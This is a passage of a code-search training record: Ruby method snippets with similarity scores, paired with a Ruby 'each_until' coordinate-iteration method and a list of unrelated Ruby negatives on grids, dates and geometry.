"def command_start; end",
"def command_start; end",
"def command_start; end",
"def command(type)\n end",
"def subcommand() __subcommand__ end",
"def configure_command(cmd)\n end",
"def command_params\n params.fetch(:command, {})\n end",
"def execute\n end",
"def execute\n end",
"def execute\n end",
"def camCommand _obj, _args\n \"_obj camCommand _args;\" \n end",
"def run(*params)\n raise \"Cannot execute the BaseCommand, please extend\"\n end",
"def run_cmd(cmd)\n\tend",
"def command\n raise NotImplementedError\n end",
"def effectiveCommander _args\n \"effectiveCommander _args;\" \n end",
"def command\n fail 'Not implemented.'\n end",
"def parameters=(_arg0); end",
"def execute()\n\n end",
"def execute()\n\n end",
"def subcommands() __subcommands__ end",
"def get_command_parameters(cmd,args, active_context_copy=nil)\n # To support autocomplete feature, temp active context may be forwarded into method\n active_context_copy = @active_context unless active_context_copy\n\n entity_name, method_name, option_types = nil, nil, nil\n\n context_params = ContextParams.new\n\n if root? && !args.empty?\n # this means that somebody is calling command with assembly/.. method_name\n entity_name = cmd\n method_name = args.shift\n else\n context_params.current_context = active_context_copy.clone_me\n entity_name = active_context_copy.name_list.first\n entity_name ||= \"dtk\"\n method_name = cmd\n end\n\n # extract thor options\n clazz = Context.get_command_class(entity_name)\n current_context_command = active_context_copy.last_command_name\n\n if ((current_context_command != entity_name) && !current_context_command.eql?(\"utils\"))\n current_context_clazz = Context.get_command_class(current_context_command)\n options = Context.get_thor_options(current_context_clazz, cmd) if current_context_clazz\n else\n options = Context.get_thor_options(clazz, cmd) if clazz\n end\n\n # set rest of arguments as method options\n args, thor_options, invalid_options = Context.parse_thor_options(args, options)\n context_params.method_arguments = args\n\n return entity_name, method_name, context_params, thor_options, invalid_options\n end",
"def main(*args)\n #puts self.class # TODO: fix help\n raise NoCommandError\n end",
"def cmdarg_stack; end",
"def cmdarg_stack; end",
"def cmdarg_stack; end",
"def command_params\n params.fetch(:command, {}).permit(:name, :status, :executed_at)\n end",
"def command_queue=(_arg0); end",
"def execute(command) # rubocop:disable Lint/UnusedMethodArgument\n end",
"def execute\n raise NotImplementedError, 'Generic command has no actions'\n end"
] |
[
"0.76458204",
"0.76458204",
"0.76458204",
"0.7218767",
"0.7218767",
"0.7218767",
"0.7218767",
"0.7218767",
"0.7218767",
"0.69253933",
"0.685244",
"0.6834739",
"0.68273985",
"0.67915624",
"0.67915624",
"0.67915624",
"0.67661494",
"0.67661494",
"0.67661494",
"0.6757295",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67347926",
"0.67314214",
"0.67314214",
"0.67314214",
"0.6731062",
"0.66923153",
"0.6669003",
"0.6643742",
"0.66231376",
"0.66231376",
"0.6584979",
"0.6577058",
"0.6570516",
"0.6570516",
"0.6570516",
"0.6570516",
"0.6570516",
"0.6570516",
"0.6570516",
"0.6570516",
"0.656229",
"0.6561257",
"0.6559027",
"0.6543079",
"0.65245825",
"0.6496609",
"0.6482021",
"0.6482021",
"0.6462483",
"0.6462483",
"0.64553624",
"0.64387757",
"0.6419418",
"0.63807184",
"0.63807184",
"0.63807184",
"0.6379114",
"0.63726205",
"0.6350721",
"0.6350358",
"0.63303995",
"0.63303995",
"0.6329256",
"0.6327625",
"0.6317989",
"0.63050246",
"0.628712",
"0.6283871",
"0.62803614",
"0.6269365",
"0.62644297",
"0.62644297",
"0.6242752",
"0.62333614",
"0.621586",
"0.61825746",
"0.61825746",
"0.61825746",
"0.6168391",
"0.616002",
"0.6157892",
"0.61493725"
] |
0.0
|
-1
|
The other coordinate is smaller only when it's in first quarter based on current coordinate
|
def <=>(other)
if x_param == other.x_param && y_param == other.y_param
0
elsif other.x_param <= x_param && other.y_param <= y_param
1
else
-1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def lookup_quarter(x, y)\n return 1 if x >= 0 && y <= -1\n return 2 if x < 0 && y <= -1\n return 3 if x < 0 && y > -1\n return 4\n end",
"def min_value_quarter_sheet(value)\n only_values = self.class.only_values\n min = only_values.first\n only_values.each do |only_value|\n if only_value <= value\n min = only_value\n else\n break\n end\n end\n {:base_value => base_value,:value_quarter_sheet =>min ,:t => eval(\"v_#{min}_t\"),:tr => eval(\"v_#{min}_tr\")}\n end",
"def quarter_wind; end",
"def start_of_quarter(year, quarter)\n date_calc.start_of_quarter(year, quarter)\n end",
"def coordinate_delta_min\n one_side_terms(:right).map { |term| -term.conc / term.count }.max \n end",
"def current_quarter?\n self == Quarter.current_quarter\n end",
"def recalculate_coordinates_for_sphere\n if rover.position[0] >= grid.x || rover.position[0] < 0\n rover.position[0] = (rover.position[0] % grid.x).abs\n end\n if rover.position[1] >= grid.y || rover.position[1] < 0\n rover.position[1] = (rover.position[1] % grid.y).abs\n end\n end",
"def orient_if_sure(px, py, rx, ry, qx, qy)\n l = (ry - py) * (qx - px)\n r = (rx - px) * (qy - py)\n ((l - r).abs >= (3.3306690738754716e-16 * (l + r).abs)) ? l - r : 0\n end",
"def first_quarter\n return first_taken_quarter if any_taken_courses?\n return first_planned_quarter if any_planned_courses?\n nil\n end",
"def ascending_between?(start_point, end_point)\n (elevation_between(start_point, end_point) / distance_between(start_point, end_point)) > 0.003\n end",
"def include?(pnt)\n pnt.lat >= south && pnt.lng >= west && pnt.lat < north && pnt.lng < east\n end",
"def start_of_quarter\n \n year = self.strftime('%Y').to_i\n current_month = self.strftime('%m').to_i\n \n month = 1\n 1.step(13, 3) do |m|\n break if m > current_month\n month = m\n end\n \n Date.new(year, month, 1)\n \n end",
"def t(x)\n case true\n when start_point.nil?\n nil\n when end_point.nil?\n nil\n when !self.contains?(x)\n nil\n when x == start_point.x\n 0.0\n when x == end_point.x\n 1.0\n else # must lie within region, not start or end\n interval = end_point.x - start_point.x\n interval_fraction = x - start_point.x\n interval_fraction / interval\n end\n end",
"def last_active_quarter\n organization_quarters.with_students_placed.sort.first\n end",
"def update_future_quarter\n # get the next quarter\n next_q = Quarter.quarter_after(self.quarter_id)\n next_es = ExpertSurvey.in_quarter(next_q.id) if next_q.present?\n if next_es.present?\n update_change_value(next_es, self)\n next_es.save\n end\n\n return true\n end",
"def before_origin(point, axis)\n point.dot(axis) <= 0\n end",
"def real_close(r1,r2) \n (r1 - r2).abs < GeometryExpression::Epsilon\n end",
"def left\n @x_min\n end",
"def getQuo ( x , y )\n\tq = x / y\n\treturn q\nend",
"def part_of_left_x?(x, y)\n x == y\n end",
"def real_close(r1,r2)\n (r1 - r2).abs < GeometryExpression::Epsilon\n end",
"def real_close(r1,r2) \n (r1 - r2).abs < GeometryExpression::Epsilon\n end",
"def real_close(r1,r2) \n (r1 - r2).abs < GeometryExpression::Epsilon\n end",
"def beginning_of_quarter\n first_quarter_month = month - (2 + month) % 3\n beginning_of_month.change(month: first_quarter_month)\n end",
"def is_east_of(other)\n other.y == @y && @x > other.x \n end",
"def less_than?(x,y)\n y-x > relative_to(y)\n end",
"def next_to_other_king?(destination_x, destination_y)\n other_king = color == 'white' ? game.pieces.find_by(type: 'King', color: 'black') : game.pieces.find_by(type: 'King', color: 'white')\n return true if (other_king.row_coordinate == destination_y) && (other_king.column_coordinate - destination_x).abs == 1\n return true if (other_king.row_coordinate - destination_y).abs == 1 && (other_king.column_coordinate == destination_x)\n return true if (other_king.row_coordinate - destination_y).abs == 1 && (other_king.column_coordinate - destination_x).abs == 1\n false\n end",
"def is_enough_space_room_west?\r\n return true if NARROW_BETWEEN_ROOM_AND_AREA_SIZE < @room.x1 - @x1\r\n return false\r\n end",
"def all_quarter\n beginning_of_quarter..end_of_quarter\n end",
"def min_3(x, y, z)\n if x < y and x < z\n x\n elsif y < x and y < z\n y\n else\n z\n end\n end",
"def part_of_right_x?(x, y)\n x == (size - y - 1)\n end",
"def quarter\n case merch_month\n when 7,8,9\n return 1\n when 10,11,12\n return 2\n when 1,2,3\n return 3\n else\n return 4\n end\n end",
"def minoffour(num1, num2, num3, num4)\n if num1 < num2 and num1 < num3 and num1 < num4\n return num1\n end\n if num2 < num1 and num2 < num3 and num2 < num4\n return num2\n end\n if num3 < num1 and num3 < num2 and num3 < num4\n return num3\n end\n if num4 < num1 and num4 < num2 and num4 < num3\n return num4\n end\nend",
"def real_close(r1,r2)\n (r1 - r2).abs < GeometryExpression::Epsilon\n end",
"def quarter_wind_azimuth; end",
"def near_to_extrem(c,seq,min_vector_size)\n max_to_extreme=(min_vector_size/2).to_i\n return ((c.q_beg-max_to_extreme<0) || (( c.q_end+max_to_extreme)>=seq.seq_fasta.size-1) ) #return if vector is very near to the extremes of insert)\n end",
"def isBoundedBy(coord)\n inBox(getBox([nw_lon,nw_lat],[se_lon,se_lat]),coord)\n end",
"def get_next_point(low_ys , high_ys , cur_y)\n #Current point is nearer to high_ys than low_ys\n if cur_y - low_ys.last > high_ys.last - cur_y\n high_ys << cur_y\n return low_ys.last + (cur_y - low_ys.last) * GOLDEN_RATIO\n else\n low_ys << cur_y\n return cur_y + (high_ys.last - cur_y) * GOLDEN_RATIO\n end\n end",
"def first_quadrant?(angle)\n\t\t0 < angle && angle < 90\n\tend",
"def lt?(x,y)\n y-x > relative_to_many(:max, x, y)\n end",
"def current_quarter\n \n case self.month\n \n when 1..3 then 1\n when 4..6 then 2\n when 7..9 then 3\n else 4\n end\n \n end",
"def degenerate?\n @floor == @ceiling\n end",
"def project(value)\n return value * 4 / line[:quarter]\n end",
"def split_by_longitude\n #two quadrants (W != E)\n \n if tl_crd.long_hem == 'W' \n #going over 0 meridian W => E\n split_long_num=0.0\n else \n #going over 180 meridian E => W\n split_long_num=180.0\n end \n split_by_longitude_number(split_long_num)\n end",
"def within_bonus_range?(query_point)\n delta_x = (query_point.x - point.x).abs\n delta_y = (query_point.y - point.y).abs\n\n delta_x <= 1 && delta_y <= 1\n end",
"def min() end",
"def players_within_distance?; captured_points.include? @prey.coords end",
"def lower_quartile\n return nil if self.empty?\n sorted_array = self.sort\n u = 0.25*sorted_array.length + 1\n if (u-u.truncate).is_a?(Integer)\n return sorted_array[(u-u.truncate)-1]\n else\n sample = sorted_array[u.truncate.abs-1]\n sample1 = sorted_array[(u.truncate.abs)]\n return sample+((sample1-sample)*(u-u.truncate))\n end\n end",
"def is_current_quarter(date)\n currentQuarter = ((Time.now.month - 1) / 3) + 1\n dateQuarter = current_quarter_months(date)\n dateQuarter.between?(currentQuarter, currentQuarter)\n end",
"def solution(x, y)\n sheep = []\n\n (0...x.size).each do |i|\n sheep.push([x[i], y[i]])\n end\n\n min_d = 123456 # larger then max position\n sheep.sort! { |x,y| (x[0]**2 + x[1]**2) <=> (y[0]**2 + y[1]**2) }\n (0..(x.size - 2)).each do |i|\n dist = (sheep[i+1][0] - sheep[i][0]).abs\n next if dist > min_d\n offset =(sheep[i+1][1] - sheep[i][1]).abs\n min_d = [min_d, [dist, offset].max].min\n end\n\n (min_d / 2).floor\nend",
"def adjust_points\n coords = current_object.coordinates\n if sw and ne\n @sw.lat = coords.lat if sw.lat > coords.lat\n @sw.lon = coords.lon if sw.lon > coords.lon\n @ne.lat = coords.lat if ne.lat < coords.lat\n @ne.lon = coords.lon if ne.lon < coords.lon\n @center.lat = (ne.lat - sw.lat )/2 + sw.lat\n @center.lon = (ne.lon - sw.lon )/2 + sw.lon\n else\n @sw = coords.dup\n @ne = coords.dup\n @center = coords.dup\n end\n \n true\n end",
"def min_2(x, y)\nend",
"def lowest_scale(a, b)\n if a == b\n a\n elsif !a\n b\n elsif !b\n a\n else\n if SCALES.index(a) < SCALES.index(b)\n a\n else\n b\n end\n end\n end",
"def min_x\n @pos.x\n end",
"def prevQuarter( date )\n m = date.month;\n y = date.year;\n m -= 3;\n if( m < 1 ) then\n m += 12;\n y -= 1;\n end;\n return Date.new( y, m, 1 );\nend",
"def min x,y\n\t\treturn x if x < y\n\t\treturn y\n\tend",
"def above? point\n dist(point) < 0\n end",
"def make_root_of_smaller_rank_point_to_root_of_larger_rank(root_p, root_q)\n if @ranks[root_p] < @ranks[root_q]\n @parents[root_p] = root_q\n elsif @ranks[root_p] > @ranks[root_q]\n @parents[root_q] = root_p\n else\n @parents[root_q] = root_p\n @ranks[root_p] += 1\n end\n @nb_sets -= 1\n end",
"def left?(start,landing)\n start_x = start[1]\n landing_x = landing[1]\n total_x = start_x - landing_x\n return true if total_x == 2\n false\n end",
"def set_change_values\n # get the previous quarter\n prev_q = Quarter.quarter_before(self.quarter_id)\n prev_es = ExpertSurvey.in_quarter(prev_q.id) if prev_q.present?\n compute_change_values(self, prev_es)\n\n return true\n end",
"def greater_than?(x,y)\n x-y > relative_to(y)\n end",
"def constrain(size)\n if size < @floor\n @floor\n else\n @ceiling && size > @ceiling ? @ceiling : size\n end\n end",
"def reset_future_quarter\n # get the next quarter\n next_q = Quarter.quarter_after(self.quarter_id)\n next_es = ExpertSurvey.in_quarter(next_q.id) if next_q.present?\n if next_es.present?\n reset_change_value(next_es)\n next_es.save\n end\n\n return true\n end",
"def quarter\n (month / 3.0).ceil\n end",
"def closest_vertex_on_obb(point, rect)\n d = point - rect.samp\n q = rect.samp.dup\n\n 2.times do |i|\n dist = d.dot(rect.axes[i])\n if dist >= 0; dist = rect.extents[i] \n elsif dist < 0; dist = -rect.extents[i]\n end\n\n q.plus!(rect.axes[i] * dist)\n end\n q\n end",
"def quarterfinal_mapping(x,y)\n y = { home: 0, guest: 1 }[y] if y.is_a? Symbol\n # HAIL TO THE MOD\n [x - x%2 + (x+y)%2, y]\n end",
"def seq?(x, y)\n (x-y).abs <= relative_to_many(:min, x, y)\n end",
"def midX?\n return @calMidX if @calMidX\n return self.bitmap.width/2 if self.bitmap\n return self.ox\n end",
"def earliest(t1, t2) before_eq(t1, t2) ? t1 : t2; end",
"def earliest(t1, t2) before_eq(t1, t2) ? t1 : t2; end",
"def min_2(x, y)\n if x < y\n x\n else\n y\n end\n end",
"def extremes\n point = @points[0]\n #puts \"next\"\n #p [point.x, point.y]\n left = right = point.x # @position.x + point.x\n top = bottom = point.y # @position.y + point.y\n @points[1..-1].each do |point|\n #p [point.x, point.y]\n x, y = point.to_a # (@position + point).to_a\n left = x if x < left\n right = x if x > right\n top = y if y < top\n bottom = y if y > bottom\n end\n #p [left, right, top, bottom]\n [left, right, top, bottom]\n end",
"def compare_position(point)\n (v2.x - v1.x) * (point.y - v1.y) - (point.x - v1.x) * (v2.y - v1.y)\n end",
"def separate?(other)\n center.distance(other.center) > @r + other.r\n end",
"def prev\n prev_qtr_code = quarter_code_id == 1 ? 4 : quarter_code_id - 1\n prev_year = quarter_code_id == 1 ? year - 1 : year\n Quarter.find_easily(prev_qtr_code, prev_year)\n end",
"def inside_rect?(point1, point2)\n lats = [point1.lat, point2.lat].sort\n lons = [point1.lon, point2.lon].sort\n la = self.lat\n lo = self.lon\n\n (la >= lats[0] && la <= lats[1] && lo >= lons[0] && lo <= lons[1])\n end",
"def safe_position?(x, y)\n x >= 0 &&\n x <= 4 &&\n y >= 0 &&\n y <= 4\n end",
"def floor\n self.class.new(x.floor, y.floor)\n end",
"def sel_left\n [sel_x, pos_x].min\n end",
"def up?(new_x_position, new_y_position)\n (self.y_position - new_y_position.to_i) > 0 && (new_x_position == self.x_position)\n end",
"def min_point\n # generate the bounding box if not already done\n bounding_box\n # return the min\n @min\n end",
"def quarter\n (month / 3.0).ceil\n end",
"def position(from=0, to, t)\n p = (to-from).abs # period\n (((t-p) % (2*p))-p).abs+[from,to].min\nend",
"def is_straight?\n order_by_value.each_cons(2).all? { |x,y| y.point == x.point + 1 }\n end",
"def overlaps_with(other_billing_record, min_proximity = 0)\n return true if start_time == other_billing_record.start_time\n first, second = nil, nil # Which record started first?\n if start_time < other_billing_record.start_time\n first, second = self, other_billing_record\n else\n first, second = other_billing_record, self\n end\n second.start_time - first.stop_time <= min_proximity\n end",
"def is_enough_space_room_north?\r\n return true if NARROW_BETWEEN_ROOM_AND_AREA_SIZE < @room.y1 - @y1\r\n return false\r\n end",
"def min_distance_away(truth_points, up)\n truth_points.inject([]){|arr, p| arr << [up.sqd_distance(p), p]; arr}.min{|a, b| a.first <=> b.first}\n end",
"def is_at(x, y)\n\tif (self.orientation == \"horizontal\") \n\t\treturn (y === self.origin_y && x.between?(self.origin_x, self.origin_x + (self.size - 1)))\n\tend\n\t\t\n\t(x === self.origin_x && y.between?(self.origin_y, self.origin_y + (self.size - 1)))\n end",
"def normalize_coordinates\n minY = minX = 1000000\n maxX = maxY = -minX\n @passages.each do |passage|\n if passage.x < minX then minX = passage.x end\n if passage.x > maxX then maxX = passage.x end\n if passage.y < minY then minY = passage.y end\n if passage.y > maxY then maxY = passage.y end\n end\n x_distance = 0 - minX\n y_distance = 0 - minY\n @extentX = maxX + x_distance\n @extentY = maxY + y_distance\n @passages.each do |passage|\n passage.x += x_distance\n passage.y += y_distance\n end\n end",
"def coordinate_delta_max\n one_side_terms(:left).map { |term| term.conc / term.count }.min\n end",
"def approx_same_values_as?(other)\n delta = s_copy.sub(other).to_a.inject(0.0) do |result, element|\n result + element**2.0\n end\n delta < EPSILON\n end",
"def racquetLeft(racquet)\n if racquet - 2 != 1 #If the leftermost part of the racket isn't in the left wall\n return racquet - 1 #return the current position but 1 to the left \n else\n return racquet\n end\nend",
"def new_year_on_or_before(f_date = self.fixed)\n approx = estimate_prior_solar_longitude(AUTUMN, midnight_in_paris(f_date))\n next_of(approx.floor - 1, \n lambda {|day| AUTUMN <= solar_longitude(midnight_in_paris(day))})\n end",
"def compare(x, y)\n if x >= 0 && y <= 0\n y.zero? ? $maxx : x.to_f / -y\n elsif x >= 0 && y > 0\n ratio = x.zero? ? $maxx : y.to_f / x\n ratio + $maxx\n elsif x < 0 && y > 0\n (-x.to_f / y) + ($maxx * 2)\n else # if x < 0 && y <= 0\n (y.to_f / x) + ($maxx * 3)\n end\nend",
"def mult(other_range)\n xlo = first\n xhi = last\n ylo = other_range.first\n yhi = other_range.last\n pos = ->(x) { x >= 0 }\n neg = ->(x) { x <= 0 }\n return (xlo * ylo)..(xhi * yhi) if [xlo, xhi, ylo, yhi].all?(&pos)\n return (xhi * ylo)..(xhi * yhi) if [xlo, xhi, yhi].all?(&pos) and [ylo].all?(&neg)\n return (xhi * ylo)..(xlo * yhi) if [xlo, xhi].all?(&pos) and [ylo, yhi].all?(&neg)\n return (xlo * yhi)..(xhi * ylo) if [xlo].all?(&neg) and [xhi, ylo, yhi].all?(&pos)\n if [xlo, ylo].all?(&neg) and [xhi, yhi].all?(&pos)\n new_min = [(xhi * ylo), (xlo * yhi)].min\n new_max = [(xlo * ylo), (xhi * yhi)].min\n return new_min..new_max\n end\n return (xhi * ylo)..(xlo * ylo) if [xhi].all?(&pos) and [xlo, ylo, yhi].all?(&pos)\n return (xlo * yhi)..(xhi * ylo) if [xlo, xhi].all?(&neg) and [ylo, yhi].all?(&pos)\n return (xlo * yhi)..(xlo * ylo) if [xlo, xhi, ylo].all?(&neg) and [yhi].all?(&pos)\n return (xhi * yhi)..(xlo * ylo) if [xlo, xhi, ylo, yhi].all?(&pos)\n end",
"def span_test(other)\n other = Point.new(other[0], other[1]) if other.is_a?(Array)\n raise TypeError, 'Must pass only Point.' unless other.is_a?(Point)\n\n return 0 if self.p1 == other\n\n rel_pos = other - self.p1\n return 1 if self.direction.to_point.dot(rel_pos) > 0\n \n return -1\n end",
"def eqp_r_min(item)\n end",
"def last_quarter\n return last_planned_quarter if any_planned_courses?\n return last_taken_quarter if any_taken_courses?\n nil\n end",
"def bbox_dateline_fix(min_x, max_x)\n if min_x > 0\n degrees_to_add = 180 - min_x\n min_x = -(180 + degrees_to_add)\n elsif min_x < 0 && max_x < 0\n degrees_to_add = 180 + max_x\n max_x = 180 + degrees_to_add\n else\n Rails.logger.error(\"This bbox format was not parsed correctly: '#{coords}'\")\n end\n [min_x, max_x]\n end",
"def larger_point_of_intersection(other)\n a = points_of_intersection(other)\n a.sort_by{|p| [p.x, p.y]}.last\n rescue\n false\n end",
"def lowerQuartile(node)\n\t\t# Min humidity value from the node in the past day\n\t\tmin_hum = Reading.select(:humidity, :recorded_at).where(node_id: node, recorded_at: Time.zone.now.beginning_of_day..Time.zone.now.end_of_day).minimum(:humidity)\n\t\t# Min temperature value from the node in the past day\n\t\tmin_temp = Reading.select(:temperature, :recorded_at).where(node_id: node, recorded_at: Time.zone.now.beginning_of_day..Time.zone.now.end_of_day).minimum(:temperature)\n\t\t# Determine the parameter with the lowest value\n\t\tmin_val = [min_hum, min_temp].min\n\n\t\t# Check if node has returned any values for the current day\n\t\t# Set the min bound into quartiles\n\t\tunless min_val.nil?\n\t\t\toffset = (min_val % 25)\n\t\t\t# Visibility adjustment\n\t\t\tif offset == 1 \n\t\t\t\toffset = 5\n\t\t\tend\t\t\t\n\t\t\treturn min_val - (offset)\n\t\tend\n\t\t# Graph will be empty, set default min\n\t\treturn 0\n\tend"
] |
[
"0.661567",
"0.5715831",
"0.56116825",
"0.5479185",
"0.5454377",
"0.5438296",
"0.5438067",
"0.5388649",
"0.53784883",
"0.53659296",
"0.5359253",
"0.5306278",
"0.530079",
"0.52997184",
"0.5277799",
"0.5276029",
"0.5266987",
"0.52605104",
"0.52414113",
"0.52353823",
"0.5228379",
"0.5219685",
"0.5219685",
"0.5205318",
"0.51945686",
"0.51920533",
"0.51908773",
"0.5189673",
"0.518899",
"0.51862586",
"0.51774955",
"0.51618904",
"0.51483065",
"0.51466155",
"0.51409745",
"0.51346946",
"0.513118",
"0.511527",
"0.5110628",
"0.5107883",
"0.51056457",
"0.50952774",
"0.5088545",
"0.50836265",
"0.50816053",
"0.5075762",
"0.50748044",
"0.5042759",
"0.5037107",
"0.50369424",
"0.5030298",
"0.5027379",
"0.50262964",
"0.50236607",
"0.5023409",
"0.5011349",
"0.50057495",
"0.50005746",
"0.49834102",
"0.4969691",
"0.49673384",
"0.496333",
"0.49633053",
"0.4963237",
"0.49585024",
"0.49580038",
"0.49490115",
"0.49454606",
"0.49404794",
"0.49404794",
"0.49401322",
"0.49316135",
"0.49268323",
"0.4925548",
"0.49249116",
"0.49248338",
"0.48910385",
"0.48903647",
"0.48901835",
"0.48822793",
"0.48818442",
"0.48801407",
"0.48796168",
"0.48658326",
"0.48631814",
"0.4862854",
"0.4858585",
"0.48574606",
"0.4857183",
"0.4850851",
"0.48459402",
"0.48398602",
"0.48384497",
"0.48324412",
"0.48306563",
"0.48287758",
"0.48229244",
"0.48213232",
"0.48197627",
"0.48130304",
"0.48087823"
] |
0.0
|
-1
|
Iterates until reaches coordinate
|
def each_until(coordinate)
raise UnexpectedUntilCoordinate if coordinate < self
(y_param..coordinate.y).each do |j|
(x_param..coordinate.x).each do |i|
yield(Coordinate.new(i, j))
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def loop\n measurement = yield @position\n\n while true do\n position = control measurement\n\n measurement = yield position\n end\n end",
"def get_next_coords_with_check(rv_inst)\n x, y = next_step(rv_inst)\n return false unless within_boundary?(x, y)\n [x, y]\n end",
"def each\n @position = @start\n\n while @position < @finish\n yield @positon\n self.succ\n end\n\n yield @position\n end",
"def find_next_coords(row_coord, column_coord)\n if column_coord + 1 < canvas.size && !canvas[row_coord][column_coord + 1] && !missing_up?(row_coord, column_coord)\n [row_coord, column_coord + 1]\n elsif row_coord + 1 < canvas.size && !canvas[row_coord + 1][column_coord]\n [row_coord + 1, column_coord]\n elsif column_coord - 1 >= 0 && !canvas[row_coord][column_coord - 1]\n [row_coord, column_coord - 1]\n elsif row_coord - 1 >= 0 && !canvas[row_coord - 1][column_coord]\n [row_coord - 1, column_coord]\n end\n end",
"def scan\n x = position[0]\n y = position[1]\n !Robot.in_position(x, y).empty? || !Robot.in_position(x+1, y).empty? || !Robot.in_position(x-1,y).empty? || !Robot.in_position(x,y+1).empty? || !Robot.in_position(x,y-1).empty?\n end",
"def check_ahead\n block_movement unless valid_coordinates?(*coords_ahead)\n end",
"def next_steps_from(coordinates)\n increments_from(coordinates).select { |coords| valid_for_lists?(coords, lists) }\n end",
"def get_valid_move\nwhile true\nmove = get_move\nif valid_move?(move)\nreturn move\nelse\nputs \"Position #{ move + 1 } is occupied...Enter a free position\"\nend\nend\nend",
"def find_region\n count = 0\n GRID.each_with_index do |y_values, current_x|\n y_values.each do |current_y|\n distance = 0\n ALL_POINTS.each do |point|\n distance += ((point.y - current_y).abs + (point.x - current_x).abs)\n end\n p distance\n count += 1 if distance < 10_000\n end\n end\n p count\nend",
"def generate_moves\n @delta.each do |step|\n (1..7).each do |i|\n new_pos = [@pos[0] + step[0] * i, @pos[1] + step[1] * i]\n if valid_coord?(new_pos)\n @move_list << new_pos\n break if @board[new_pos]\n else\n break\n end\n end\n end\n end",
"def enumerate_around(start_x, start_y, func, i = 0)\n movements = {\n DIRECTION_NORTH: [ 0, -1],\n DIRECTION_NORTHEAST: [ 1, -1],\n DIRECTION_EAST: [ 1, 0],\n DIRECTION_SOUTHEAST: [ 1, 1],\n DIRECTION_SOUTH: [ 0, 1],\n DIRECTION_SOUTHWEST: [-1, 1],\n DIRECTION_WEST: [-1, 0],\n DIRECTION_NORTHWEST: [-1, -1]\n }\n\n movements.each do |direction, movements|\n x, y, points = start_x + movements[0], start_y + movements[1], []\n until (x < 0 or x > 7) or (y < 0 or y > 7) or (i != 0 && points.length == i)\n points << [x, y]\n x += movements[0]\n y += movements[1]\n end\n func.call(points, direction)\n end\n end",
"def check_around(x,y)\n for i in x-1..x+1 do\n for j in y-1..y+1 do\n if i >= 0 && i < @n && j >= 0 && j < @m && @garden[i][j] == 'W'\n @garden[i][j] = 'C'\n check_around(i,j)\n end\n end\n end\n end",
"def block(x, y)\n @rows[y][x] unless y >= @y or x >= @x or y < 0 or x < 0\n end",
"def move \n while true \n choose_next_position \n if [:found, :fail].include? @result\n break \n end\n end\n end",
"def computer_chooses_coordinate\n\n all_possible_coordinates = @human.board.cells.keys\n coordinate = all_possible_coordinates.sample\n\n loop do\n\n if @already_fired_upon_coordinates_computer.include?(coordinate) == false\n @human.board.cells[coordinate].fire_upon\n @already_fired_upon_coordinates_computer.push(coordinate)\n break\n end\n coordinate = all_possible_coordinates.sample\n end #end of loop\n\n status = @human.board.cells[coordinate].render\n\n case status\n when 'H'\n puts \"My shot on #{coordinate} was a hit.\"\n when 'M'\n puts \"My shot on #{coordinate} was a miss.\"\n when 'X'\n puts \"My shot on #{coordinate} sunk a ship.\"\n end #ends case\n end",
"def take_around! y, x, color\n #puts \"take around #{x} #{y} (#{color})\"\n # check every directions\n T.each do |tuple|\n y2, x2 = y + tuple[0], x + tuple[1]\n next unless valid_xy? x2, y2\n c = @data[y2][x2]\n if c && c != color\n take_direction! tuple, y2, x2, color\n end\n end\n end",
"def iterate_on_location(curr_prosp, rubyist)\n curr_prosp = curr_prosp.to_i\n curr_loc = 0\n curr_turn = 0\n puts \"Rubyist ##{curr_prosp} starting in #{@map[curr_loc][0]}\"\n while curr_turn < @turns && curr_prosp > 0\n rubyist.search_for_rubies(curr_loc)\n curr_turn += 1\n curr_loc = rubyist.next_loc(curr_loc) unless curr_turn >= @turns\n end\n end",
"def next_generation(row, column)\n if @live_cells.include? [row, column]\n live_neighbours(row, column).between? 2, 3\n else\n live_neighbours(row, column) == 3\n end\n end",
"def next(direction)\n return false unless @settled\n \n case direction.cardinal_point\n when \"NORTH\" \n {x: x, y: y+1}\n when \"EAST\"\n {x: x+1, y: y}\n when \"SOUTH\"\n {x: x, y: y-1}\n when \"WEST\"\n {x: x-1, y: y}\n end \n end",
"def advance\n case bearing\n when :north\n coordinates[1] += 1\n when :east\n coordinates[0] += 1\n when :south\n coordinates[1] -= 1\n when :west\n coordinates[0] -= 1\n end\n end",
"def next_position\n return unless placed?\n axis = case direction\n when 'east', 'west'; :x\n when 'north', 'south'; :y\n end\n amount = case direction\n when 'north', 'east'; +1\n when 'south', 'west'; -1\n end\n [@x + (axis == :x ? amount : 0), @y + (axis == :y ? amount : 0)]\n end",
"def iterate\r\n\t\tif @gameover\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tk = @args.inputs.keyboard\r\n\r\n\t\tif k.key_down.up\r\n\t\t\trotate\r\n\t\tend\r\n\r\n\t\t#nie wychodzenie poza ramki\r\n\t\tif k.key_down.left && @current_piece_x>0\r\n\t\t\t@current_piece_x -= 1\r\n\t\tend\r\n\t\tif k.key_down.right && ((@current_piece_x+@current_piece.length) < @grid_w)\r\n\t\t\t@current_piece_x += 1\r\n\t\tend\r\n\t\tif (k.key_down.down || k.key_held.down) && !colliding\r\n\t\t\t@next_move -= 3 #ile razy szybciej\r\n\t\tend\r\n\r\n\t\t@next_move -= 1\r\n\t\tif @next_move <= 0\r\n\t\t\t#jeżeli koliduje to umieszczamy na stałe klocek w tym miejscu (zapisując na planszy jego kratki jako 1)\r\n\t\t\tif colliding\r\n\t\t\t\tplant_current_piece\r\n\t\t\telse\r\n\t\t\t\t@next_move =10\r\n\t\t\t\t@current_piece_y += 1\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def fill\n matrix = [ { :loc_x => 0, :loc_y => 0, :value => 1, :dir => \"right\"}, { :loc_x => 1, :loc_y => 0, :value => 1, :dir => \"up\"} ]\n current = matrix.last\n while current[:value] < 800\n last_index = matrix.length - 1\n # 325489\n if current[:value] == \"up\"\n matrix << { :loc_x => matrix[last_index - 1], :loc_y => matrix[last_index - 1] + 1, :value => 1, :dir => \"\" }\n end\n\n val = current[:value]\n end\n p val\nend",
